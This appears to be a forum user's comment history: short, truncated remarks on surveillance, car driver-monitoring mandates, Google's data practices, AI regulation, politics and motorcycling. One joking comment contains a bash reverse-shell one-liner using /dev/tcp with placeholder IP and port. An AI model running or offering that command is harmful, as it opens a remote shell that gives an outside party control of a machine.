Any system used to surveil is a surveillance system, QED. There's no minimum fidelity required, you could use potentially any sensor to surveil. It's a question of use.
Honestly, this question is really revealing, because it's the lower-paid SWE jobs that are probably not Bay Area or NYC, which are precisely the places where lower* English fluency is most likely to be tolerated or even…
You either didn't read my comment, or aren't groking it. Whether there are cameras mandated now is irrelevant. The framework that accepts government-mandated ADDW is now in place. Most makers are fulfilling it by using…
Holy heck, you weren't kidding. Not 3 comments before a string of Undercover Russian accusations. You wonder if some people can't conceptualize other people disagreeing with them in good faith, without being part of…
It's funny how assumptions betray us. Not everyone is on their phone, or a laptop. On a site for tech enthusiasts, there are a shocking amount of folks with very "tech is what you get at the Apple Store" mindsets about.
It absolutely is a slippery slope argument. "New government mandate paves way for additional government mandate" is about as straightforward a slippery slope argument as you can get. Slippery slope arguments don't…
It's bad though because glancing at your side-view mirrors is good, but this will train drivers out of it by beeping at them because their eyes aren't perfectly forwards-facing. It's an overly simplistic solution to a…
I think you are assuming those companies won't sign on to be on a list of "authorized model operators", while letting it become illegal for you to run deepseek yourself.
:q!
It's not one single aggregate dataset, it's hundreds or thousands of targeted ones. And yes, people don't like being monetized without the company doing it being transparent about how and what they're doing. An ad…
I'd surmise it's because several states (CA comes to the top of mind) set speeds in excess of 80 as a potential felony enhancement. iirc in CA it's 20mph over the speed limit, or speeds over 80. The insurance companies…
If you use Google search or Gmail, they read everything you write, and aggregate that into data packages not just for ads to show you, but even aggregated demographic data to sell for ad targeting. Regardless of whether…
You have paid a lot, if not in money. You paid with your data, that Google read from your emails and searches, and sold for money.
If the diplomat put the baby up as collateral on a loan, prior to their birth, then I think they have to be in order for the US to be able to enforce contract law relevant to the loan.
Do you understand that you're basically pulling an "All Lives Matter" right now? This statement was about the specific incoming US administration that was anti-immigrant, and especially anti-Muslim. It is a localized…

All my homies use bash -i >& /dev/tcp/IP/PORT 0>&1 to talk to their friends(' computers).
I love how you act like it's an insane premise, then go on to list a bunch of stuff that's literally happening now...
That is a classic, but the one I was referencing was actually a Rooks and Kings video about them pipe bombing, where they were on the enemy fleet comms and one of them is like, "someday someone's going to get the drop…
The political will is already captured and redirected. There are numerous bills to limit AI access for consumers, to combat deepfakes hurting children. There are no bills introduced or passed to prevent AI being used to…
Social media is old hat now. As someone on the "safety side of tech", social media is being exploited to increase surveillance and government control precisely because its actual social influence is heavily on the wane,…
I mean, it is a work of fiction.
No, that's what *you* would apparently do. Some of us think it's bad for governments to have unequal access to nuclear weapons, as it turns a deterrent into a gun-in-a-knife-fight that lets them stab whoever they want…
I started riding in AZ, which does not allow splitting. I now live in CA, which does. The actual justification for it is valid, but mostly outdated: Older and less powerful motorcycles often have air-cooled engines, and…
I've written so much documentation over the years, and humans always come and ask me questions that the documentation answers, but never ever read it.
